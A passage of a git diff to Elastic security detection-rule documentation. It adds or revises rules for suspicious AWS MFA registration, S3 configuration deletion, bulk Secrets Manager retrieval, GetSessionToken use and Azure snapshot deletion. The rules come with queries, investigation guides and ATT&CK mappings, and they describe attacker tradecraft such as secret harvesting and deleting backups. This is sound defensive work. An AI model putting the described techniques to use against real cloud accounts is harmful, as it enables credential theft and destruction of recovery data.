+  - Check `user_agent.original`, `source.ip`, and `cloud.region` to determine if this activity originated from an expected host, VPN, or location.
+  - Cross-reference with prior activity by this identity—especially `GetSessionToken`, `AssumeRole`, or `GetCallerIdentity` calls.
+
+- **Correlate related IAM events**
+  - Search for subsequent or preceding calls to:
+    - `EnableMFADevice` (after `CreateVirtualMFADevice`)
+    - `DeactivateMFADevice` or `DeleteVirtualMFADevice`
+    - `ListMFADevices`, `ListUsers`, or `UpdateLoginProfile`
+  - Review whether new MFA devices were successfully enabled (`event.outcome:success`).
 
+- **Assess session scope and privileges**
+  - Identify what IAM policies are attached to the user or role that issued this request.  
+  - If the temporary credentials were created via `AssumeRole` or `GetSessionToken`, check the originating principal’s permissions.
 
-*Possible Investigation Steps*
+- **Investigate possible persistence**
+  - Look for new MFA devices listed for privileged users (e.g., account root or admin roles).  
+  - Review login history for those accounts following the MFA change. 
 
 
-- **Identify the User**: Check `user.name`, `user.arn`, and `aws.cloudtrail.user_identity.*` fields to determine which IAM entity made the request.
-- **Check for Prior Reconnaissance or Access**: Correlate this event with any prior calls to `GetSessionToken`, `GetCallerIdentity`, or `ListUsers` to see if an adversary was enumerating IAM users.
-- **Source Context**: Review `source.ip`, `user_agent`, and `event.origin` to determine whether this came from a legitimate device or a suspicious endpoint (e.g., Kali, Mythic, unknown VPN).
-- **Validate MFA Setup**: Look for follow-up attempts to call `sts:get-session-token` or `iam:EnableMFADevice` using this same session.
+*False positive analysis*
 
 
-*False Positive Analysis*
+- **Legitimate Administrative or Automated Actions**  
+  Certain IAM administrative workflows or CI/CD automation tools may register or enable MFA devices using temporary
+  session credentials. Confirm whether the calling principal is part of an authorized automation process or a known
+  identity performing account configuration tasks.
 
+- **Expected Console Behavior**  
+  When users create or enable Virtual MFA devices through the **AWS Management Console**, AWS automatically issues
+  temporary STS credentials (with access key IDs beginning with `ASIA`) for that session. As a result, these events will
+  appear identical to programmatic usage of session tokens in CloudTrail logs.  
+  This is expected and does not indicate compromise.
 
-- This may occur if an admin or automation tool is legitimately setting up a new MFA device using temporary credentials.
-- Review the IP, agent, and context to differentiate expected automation from unauthorized access.
 
+*Response and remediation*
 
-*Response and Remediation*
 
+- **Immediate containment**
+  - Revoke or expire the temporary credentials (`aws sts revoke-session` if applicable).  
+  - Disable or delete any newly created virtual MFA devices using `DeleteVirtualMFADevice`.  
+  - Rotate passwords and long-term access keys for the associated IAM users.
 
-- **Revoke Credentials**: If unauthorized, revoke the access keys or terminate the session.
-- **Reset MFA and Passwords**: Rotate credentials for the affected IAM user.
-- **Review IAM Policies**: Limit permissions to register MFA devices to trusted roles only.
-- **Enable CloudTrail Alerts**: Monitor IAM changes more broadly with CloudTrail-based alerts.
+- **Investigation and scoping**
+  - Review CloudTrail logs for related IAM modifications (`UpdateLoginProfile`, `AttachUserPolicy`, `CreateAccessKey`).  
+  - Identify any new API keys or tokens created after the MFA registration.  
+  - Cross-check whether the attacker leveraged the new MFA binding for session persistence or login.
+
+- **Recovery and hardening**
+  - Enforce the `iam:EnableMFADevice` and `iam:CreateVirtualMFADevice` permissions only for trusted admin roles.  
+  - Implement `aws:MultiFactorAuthPresent` conditions in IAM policies.  
+  - Monitor for any future `ASIA` credential–based IAM configuration changes.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** 
 
 
 ==== Rule query
@@ -88,10 +135,11 @@ AWS temporary security credentials that begin with `ASIA` indicate they are sess
 
 [source, js]
 ----------------------------------
-event.dataset: "aws.cloudtrail"
-  and event.provider: "iam.amazonaws.com"
-  and event.action: ("CreateVirtualMFADevice" or "EnableMFADevice")
-  and aws.cloudtrail.user_identity.access_key_id: ASIA*
+iam where event.dataset == "aws.cloudtrail"
+  and event.provider == "iam.amazonaws.com"
+  and event.outcome == "success"
+  and event.action in ("CreateVirtualMFADevice", "EnableMFADevice")
+  and startsWith (aws.cloudtrail.user_identity.access_key_id, "ASIA")
 
 ----------------------------------
 
@@ -109,3 +157,11 @@ event.dataset: "aws.cloudtrail"
 ** Name: Device Registration
 ** ID: T1098.005
 ** Reference URL: https://attack.mitre.org/techniques/T1098/005/
+* Technique:
+** Name: Modify Authentication Process
+** ID: T1556
+** Reference URL: https://attack.mitre.org/techniques/T1556/
+* Sub-technique:
+** Name: Multi-Factor Authentication
+** ID: T1556.006
+** Reference URL: https://attack.mitre.org/techniques/T1556/006/
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-configuration-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-configuration-deletion.asciidoc
index 0132835062..242f51c14a 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-configuration-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-s3-bucket-configuration-deletion.asciidoc
@@ -1,7 +1,7 @@
 [[aws-s3-bucket-configuration-deletion]]
 === AWS S3 Bucket Configuration Deletion
 
-Identifies the deletion of various Amazon Simple Storage Service (S3) bucket configuration components.
+Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deletion of various Amazon Simple Storage Service (S3) bucket con
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -33,11 +33,13 @@ Identifies the deletion of various Amazon Simple Storage Service (S3) bucket con
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: Amazon S3
 * Use Case: Asset Visibility
 * Tactic: Defense Evasion
+* Tactic: Impact
 * Resources: Investigation Guide
 
-*Version*: 210
+*Version*: 211
 
 *Rule authors*: 
 
@@ -60,54 +62,79 @@ Identifies the deletion of various Amazon Simple Storage Service (S3) bucket con
 *Investigating AWS S3 Bucket Configuration Deletion*
 
 
-Amazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. Adversaries may delete these configurations to evade defenses, disrupt data protection, or conceal malicious activities. The detection rule monitors successful deletions of these configurations, signaling potential defense evasion attempts by correlating specific CloudTrail events.
+Amazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. The detection rule monitors successful deletions of these configurations via the following APIs: `DeleteBucketPolicy`, `DeleteBucketReplication`, `DeleteBucketCors`, `DeleteBucketEncryption` or `DeleteBucketLifecycle`. These operations can be used by an adversary to remove visibility, erase governance or compliance controls, or prepare a bucket for destructive or exfiltration activity.  
+Deleting or disabling important configurations may hamper audit trails, hide malicious changes, or reduce the ability for recovery. The detection of these deletes is therefore a potential indicator of defense evasion or impact techniques.
 
 
 *Possible investigation steps*
 
 
-- Review the CloudTrail logs for the specific event.provider:s3.amazonaws.com and event.action values to identify the user or role responsible for the deletion actions.
-- Examine the event.outcome:success field to confirm that the deletion actions were completed successfully and not attempted or failed.
-- Investigate the IAM policies and permissions associated with the user or role identified to determine if they have legitimate access to perform such deletions.
-- Check for any recent changes in IAM roles or policies that might have inadvertently granted excessive permissions.
-- Correlate the timing of the deletion events with other suspicious activities or alerts in the AWS environment to identify potential patterns or coordinated actions.
-- Assess the impact of the deleted configurations on data security and compliance, and determine if any critical data protection mechanisms were affected.
+- **Identify the Actor and Context**  
+  - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` and `aws.cloudtrail.user_identity.type` to identify who performed the deletion.  
+  - Determine whether the actor typically manages bucket configurations, or if this is an unusual identity for this kind of operation.  
+  - Check `source.ip`, `user_agent.original`, `cloud.region` for anomalous behaviour (unfamiliar IPs, new tooling or region, off-hours actions).
+
+- **Determine the Affected Bucket and Configuration Type**  
+  - Examine `aws.cloudtrail.request_parameters` (and `aws.cloudtrail.resources.arn`) to identify the bucket and the sub-resource that was removed. 
+  - Determine whether the bucket is used for critical data (audit logs, backups, data warehouse). If so, the deletion is higher risk.
+
+- **Correlate with Other Activity to Establish Chain of Events**  
+  - Search for preceding or concurrent CloudTrail events by the same actor or on the same bucket, e.g.:  
+    - Removal of logging or access controls (`PutBucketLogging`, `PutBucketAcl`, `PutBucketPolicy`).  
+    - Object-level actions soon after configuration removal (`DeleteObject`, `DeleteObjects`, `PutObject`, cross-account copy) that suggest data removal or exfiltration.  
+  - Review for configuration additions or changes immediately prior (e.g., versioning disabled, replication removed) — could form part of a larger attack sequence.  
+
+- **Evaluate Intent and Risk**  
+  - Confirm whether the change is aligned with an approved change control process (maintenance, re-architecting, cost-optimization).  
+  - If no documented justification, or if it affects buckets with sensitive or compliance-related data, treat it as potential malicious behavior.  
+  - Prioritize buckets where configuration deletion significantly reduces visibility or recovery capability.
 
 
 *False positive analysis*
 
 
-- Routine administrative actions by authorized personnel may trigger alerts when they update or remove bucket configurations as part of regular maintenance. To manage this, create exceptions for specific user roles or IAM users known to perform these tasks regularly.
-- Automated scripts or tools used for infrastructure management might delete and recreate bucket configurations as part of their operation. Identify these scripts and exclude their associated actions from triggering alerts by using specific identifiers or tags.
-- Scheduled policy updates or compliance checks that involve temporary removal of configurations can also result in false positives. Implement time-based exceptions for these known activities to prevent unnecessary alerts.
-- Development and testing environments often undergo frequent configuration changes, which can mimic suspicious behavior. Exclude these environments from the rule by using environment-specific tags or identifiers.
+- **Scheduled Maintenance or Re-architecture**:  
+  - Valid operations may include migrating buckets, retiring services, or reorganizing storage; verify through change logs.  
+- **Automation/DevOps Activity**:  
+  - Infrastructure-as-Code pipelines or lifecycle clean-up tasks may remove configurations; validate known automation scopes and service-principals.  
+- **Test/Development Buckets**:  
+  - Non-production environments may frequently change bucket configurations; document and consider whitelisting accordingly.
 
 
 *Response and remediation*
 
 
-- Immediately revoke any unauthorized access to the affected S3 bucket by reviewing and updating the bucket's access policies and permissions.
-- Restore the deleted configurations by applying the latest known good configuration settings for policies, replication, encryption, and other affected components.
-- Conduct a thorough audit of recent IAM activity to identify any unauthorized or suspicious actions related to the S3 bucket configurations.
-- Escalate the incident to the security operations team for further investigation and to determine if additional AWS resources or accounts have been compromised.
-- Implement additional monitoring and alerting for any future unauthorized configuration changes to S3 buckets, focusing on the specific actions identified in the detection rule.
-- Review and enhance IAM policies to enforce the principle of least privilege, ensuring only authorized users have the necessary permissions to modify S3 bucket configurations.
-- Coordinate with the incident response team to assess the impact of the configuration deletions on data security and compliance, and take necessary steps to mitigate any identified risks.
+**1. Containment & Immediate Actions**  
+- Temporarily restrict the IAM user or role that performed the deletion, especially for `DeleteBucketPolicy`, `DeleteBucketEncryption`, or `DeleteBucketLifecycle`. 
+- Restore missing configurations as soon as possible (e.g., re-apply bucket policy, lifecycle rules, inventory configuration) to prevent further blind spots.
+
+**2. Investigation & Scope Assessment**  
+- Using CloudTrail and S3 Data Events, check object‐level activity from the timeframe immediately before and after the configuration deletion. Look for bulk deletes, new uploads, or copies to external accounts.  
+- Check whether other buckets in the account suffered similar configuration changes – potentially part of a wider campaign.
 
-==== Setup
+**3. Recovery & Hardening**  
+- Recover affected bucket configurations and ensure they match your organizational baseline and compliance standards (e.g., logging enabled, inventory configured, lifecycle rules active).  
+- Enable AWS Config rules such as `s3-bucket-policy-check`, `s3-bucket-lifecycle-configuration-check`, `s3-bucket-logging-enabled` to monitor for unauthorized changes.  
+- Apply least‐privilege for configuration deletion permissions; segregate duties so bucket config deletion can only be done via controlled workflows and require multi-step approval.
+
+**4. Lessons Learned & Prevention**  
+- Conduct a post-incident review to determine root cause (credential compromise, misconfigured automation, malicious insider) and strengthen monitoring, alerting and access controls accordingly.
 
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:s3.amazonaws.com and
-  event.action:(DeleteBucketPolicy or DeleteBucketReplication or DeleteBucketCors or
-                DeleteBucketEncryption or DeleteBucketLifecycle)
-  and event.outcome:success
+event.dataset:aws.cloudtrail and 
+    event.provider:s3.amazonaws.com and
+    event.action:(DeleteBucketPolicy or 
+                    DeleteBucketReplication or 
+                    DeleteBucketCors or 
+                    DeleteBucketEncryption or 
+                    DeleteBucketLifecycle) and 
+    event.outcome:success
 
 ----------------------------------
 
@@ -121,3 +148,19 @@ event.dataset:aws.cloudtrail and event.provider:s3.amazonaws.com and
 ** Name: Indicator Removal
 ** ID: T1070
 ** Reference URL: https://attack.mitre.org/techniques/T1070/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Cloud Logs
+** ID: T1562.008
+** Reference URL: https://attack.mitre.org/techniques/T1562/008/
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Inhibit System Recovery
+** ID: T1490
+** Reference URL: https://attack.mitre.org/techniques/T1490/
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-secrets-manager-rapid-secrets-retrieval.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-secrets-manager-rapid-secrets-retrieval.asciidoc
new file mode 100644
index 0000000000..a67c14ab5b
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/aws-secrets-manager-rapid-secrets-retrieval.asciidoc
@@ -0,0 +1,163 @@
+[[aws-secrets-manager-rapid-secrets-retrieval]]
+=== AWS Secrets Manager Rapid Secrets Retrieval
+
+Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting.
+
+*Rule type*: threshold
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html
+* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/
+* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS Secrets Manager
+* Tactic: Credential Access
+* Resources: Investigation Guide
+
+*Version*: 6
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it for your operational needs.
+
+
+*Investigating AWS Secrets Manager Rapid Secrets Retrieval*
+
+
+AWS Secrets Manager stores sensitive credentials such as database passwords, API keys, OAuth tokens, and service 
+configuration values. In credential compromise scenarios, attackers frequently attempt to retrieve as many secrets as 
+possible in a short timeframe to escalate privileges or move laterally across the environment.
+
+This threshold rule triggers when a single user identity successfully retrieves 20 or more unique secrets using 
+`GetSecretValue` or `BatchGetSecretValue` within a short timespan. Retrieval of many different secrets in rapid succession is highly unusual and strongly associated with reconnaissance, secret harvesting, or compromised automation.
+
+Note: `BatchGetSecretValue` API calls the `GetSecretValue` API for each secret value; this alert only captures the `GetSecretValue` calls rather than the `BatchGetSecretValue` call itself.
+
+
+*Possible investigation steps*
+
+
+- **Identify the user or role**
+  - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `aws.cloudtrail.user_identity.type`.
+  - Determine whether the identity normally accesses Secrets Manager or is tied to a known automation workload.
+
+- **Analyze the set of secrets retrieved**
+  - Expand the alert in Timeline and review `aws.cloudtrail.request_parameters` for all `SecretId` values in the grouped threshold event.
+  - Identify whether the accessed secrets include:
+    - Privileged database credentials  
+    - IAM user or service account credentials  
+    - Production application secrets  
+    - Rarely accessed or high-sensitivity secrets  
+
+- **Assess the runtime context**
+  - Investigate `source.ip`, `source.geo.location`, and `user_agent.original`.
+  - Validate whether the calls originated from known internal automation (e.g., ECS task, Lambda runtime, EC2 instance profile) 
+    or from an unexpected IP or user agent.
+
+- **Correlate with other activity from the same identity**
+  - Look for related reconnaissance or credential-access events:
+    - `ListSecrets`, `DescribeSecret`
+    - IAM enumeration (`ListUsers`, `GetCallerIdentity`)
+    - Role-chaining or unusual `AssumeRole` flows  
+  - Check for subsequent use of exposed credentials (RDS login attempts, API activity, abnormal resource access).
+
+- **Determine whether unusual automation or deployment activity is occurring**
+  - Confirm with application owners whether a new deployment, config reload, or migration might explain the multi-secret access.
+
+
+*False positive analysis*
+
+
+- Legitimate application initialization or rollouts may retrieve many secrets once on startup.
+- CI/CD pipelines or configuration management tools may enumerate secrets as part of environment bootstrapping.
+
+To reduce noise, consider exceptions based on:
+- Known service roles  
+- Expected source IP ranges  
+- Specific application identities tied to secret orchestration  
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - Immediately revoke or disable the IAM user, role session, or instance profile if compromise is suspected.
+  - Quarantine EC2/ECS/Lambda resources originating suspicious calls.
+
+- **Investigation**
+  - Identify all secrets accessed in the grouped alert and determine where those credentials are used.
+  - Review CloudTrail for any suspicious follow-on activity using the retrieved secrets.
+  - Assess whether additional identities or workloads show similar enumeration behavior.
+
+- **Recovery and hardening**
+  - Rotate all accessed secrets and update dependent systems.
+  - Rotate IAM access keys or temporary credentials for the impacted identity.
+  - Restrict permissions to Secrets Manager following least privilege.
+  - Review automation and application behavior to ensure secrets are accessed only when required.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "secretsmanager.amazonaws.com" 
+    and event.action: "GetSecretValue" 
+    and event.outcome: "success" 
+    and not (
+        user_agent.name: ("Chrome" or "Firefox" or "Safari" or "Edge" or "Brave" or "Opera") 
+        or source.address: ("kafka.amazonaws.com" or "apidestinations.events.amazonaws.com")
+    )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Credentials from Password Stores
+** ID: T1555
+** Reference URL: https://attack.mitre.org/techniques/T1555/
+* Sub-technique:
+** Name: Cloud Secrets Management Stores
+** ID: T1555.006
+** Reference URL: https://attack.mitre.org/techniques/T1555/006/
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-sts-getsessiontoken-usage.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-sts-getsessiontoken-usage.asciidoc
new file mode 100644
index 0000000000..077e2e0eb4
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/aws-sts-getsessiontoken-usage.asciidoc
@@ -0,0 +1,130 @@
+[[aws-sts-getsessiontoken-usage]]
+=== AWS STS GetSessionToken Usage
+
+Identifies the use of GetSessionToken API calls by IAM users or Root Account. While this is a common and legitimate operation used to obtain temporary credentials, it also provides adversaries with a method to generate short-lived tokens for stealthy activity. Attackers who compromise IAM user access keys may call GetSessionToken to create temporary credentials, which they can then use to move laterally, escalate privileges, or persist after key rotation. This rule is intended as a BBR to establish patterns of typical STS usage and support correlation with higher-fidelity detections.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS STS
+* Use Case: Identity and Access Audit
+* Tactic: Privilege Escalation
+* Tactic: Lateral Movement
+* Resources: Investigation Guide
+* Rule Type: BBR
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Austin Songer
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS STS GetSessionToken Usage*
+
+
+AWS Security Token Service (STS) provides temporary credentials for AWS resources, crucial for managing access without long-term credentials. Adversaries may exploit `GetSessionToken` to create temporary credentials, enabling lateral movement and privilege escalation. The detection rule identifies successful `GetSessionToken` requests, flagging potential misuse for further investigation.
+
+
+*Possible investigation steps*
+
+- **Establish normal baseline behavior**
+  - Use this rule’s data to determine which IAM users or automation scripts routinely perform `GetSessionToken`.
+  - Monitor frequency, regions, and user agents (CLI, SDK, console) for each identity over time.
+
+- **Identify anomalies**
+  - Look for first-time or rare `GetSessionToken` usage by an IAM user.
+  - Detect tokens issued without MFA when MFA is normally required.
+  - Identify new or unexpected source IPs, geographies, or user agents (e.g., API calls from unfamiliar networks).
+  - Check for multiple temporary tokens minted in rapid succession by the same user or access key.
+
+- **Correlate with downstream activity**
+  - Search for immediate follow-on events within 15 minutes of token creation:
+    - `AssumeRole` into higher-privileged roles or cross-account roles.
+    - Privileged API calls (e.g., `iam:*`, `s3:PutBucketPolicy`, `ec2:CreateSnapshot`).
+    - New region access, resource enumeration, or credential operations (`GetCallerIdentity`, `ListUsers`, etc.).
+  - Use this correlation to elevate contextual `GetSessionToken` behavior into actionable detections.
+
+
+*Usage Notes*
+
+- This rule’s telemetry can support hunting queries such as:
+  - `GetSessionToken` without `TokenCode` (no MFA)
+  - New IP + `GetSessionToken` + `AssumeRole`
+  - Rapid token issuance followed by API activity from a new ASN
+
+Use these patterns in combination with related BBRs or detection rules for `AssumeRole` abuse, cross-account access,
+or credential pivoting for more reliable threat detection.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail 
+  and event.provider: sts.amazonaws.com 
+  and event.action: GetSessionToken 
+  and event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Abuse Elevation Control Mechanism
+** ID: T1548
+** Reference URL: https://attack.mitre.org/techniques/T1548/
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Use Alternate Authentication Material
+** ID: T1550
+** Reference URL: https://attack.mitre.org/techniques/T1550/
+* Sub-technique:
+** Name: Application Access Token
+** ID: T1550.001
+** Reference URL: https://attack.mitre.org/techniques/T1550/001/
diff --git a/docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc b/docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc
new file mode 100644
index 0000000000..3408c8a3a1
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc
@@ -0,0 +1,122 @@
+[[azure-compute-snapshot-deletion-by-unusual-user-and-resource-group]]
+=== Azure Compute Snapshot Deletion by Unusual User and Resource Group
+
+Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* logs-azure.activitylogs-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/
+
+*Tags*: 
+
+* Domain: Cloud
+* Domain: Storage
+* Data Source: Azure
+* Data Source: Azure Activity Logs
+* Use Case: Threat Detection
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Azure Compute Snapshot Deletion by Unusual User and Resource Group*
+
+
+Azure disk snapshots provide point-in-time copies of managed disks, serving as critical components for backup strategies, disaster recovery plans, and forensic investigations. Snapshots enable organizations to restore data and reconstruct system states after security incidents. Adversaries aware of backup strategies may delete snapshots to prevent recovery, eliminate forensic evidence, or maximize impact before executing ransomware attacks. This detection monitors for snapshot deletion operations to identify potential attempts to compromise backup and recovery capabilities. This is a New Terms rule that looks for this behavior by a user and resource group that has not been seen in the last 7 days.
+
+
+*Possible investigation steps*
+
+
+- Review the Azure activity logs to identify the user or service principal that initiated the snapshot deletion by examining the principal ID, UPN and user agent fields.
+- Check the specific snapshot name in `azure.resource.name` to understand which backup was deleted and assess the potential impact on recovery capabilities.
+- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions.
+- Examine the user's recent activity history to identify any other snapshots, disks, or Azure resources that were deleted or modified by the same principal.
+- Verify if the snapshot deletion aligns with approved change requests, maintenance windows, or data retention policies in your organization.
+- Check if other backup-related resources (backup vaults, recovery services) were accessed or modified around the same time.
+- Review any related alerts or activities such as data encryption, VM modifications, or access policy changes that occurred before the deletion.
+- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations.
+
+
+*False positive analysis*
+
+
+- Legitimate cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and consider creating exceptions for automated retention tools or scheduled cleanup activities.
+- DevOps automation tools might delete temporary snapshots created during deployment or testing processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows.
+- Storage optimization initiatives may involve deleting old or redundant snapshots to reduce costs. Coordinate with infrastructure teams to understand planned optimization activities and create exceptions during documented maintenance windows.
+- Disaster recovery testing may involve creating and deleting test snapshots. Work with business continuity teams to identify these patterns and create exceptions during scheduled DR testing periods.
+
+
+*Response and remediation*
+
+
+- Immediately investigate whether the deletion was authorized by verifying with the account owner, backup administrators, or relevant stakeholders.
+- If the deletion was unauthorized, disable the compromised user account or service principal immediately to prevent further damage.
+- Check if the snapshot can be recovered through Azure backup services or soft-delete capabilities if enabled.
+- Create new snapshots of critical disks immediately if the deleted snapshot was part of your backup strategy.
+- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities.
+- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources.
+- Implement Azure Resource Locks on critical snapshots to prevent accidental or malicious deletion.
+- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators.
+- Enable Azure Activity Log alerts to notify security teams immediately when snapshots are deleted.
+- Review backup and disaster recovery procedures to ensure redundant backup mechanisms exist beyond Azure snapshots.
+- Document the incident and update security policies and procedures to prevent similar incidents in the future.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: azure.activitylogs and
+    azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and
+    azure.activitylogs.properties.status_code: "Accepted" and
+    azure.activitylogs.identity.claims_initiated_by_user.name: *
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Destruction
+** ID: T1485
+** Reference URL: https://attack.mitre.org/techniques/T1485/
+* Technique:
+** Name: Inhibit System Recovery
+** ID: T1490
+** Reference URL: https://attack.mitre.org/techniques/T1490/
diff --git a/docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletions-by-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletions-by-user.asciidoc
new file mode 100644
index 0000000000..11b18a2f74
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/azure-compute-snapshot-deletions-by-user.asciidoc
@@ -0,0 +1,126 @@
+[[azure-compute-snapshot-deletions-by-user]]
+=== Azure Compute Snapshot Deletions by User
+
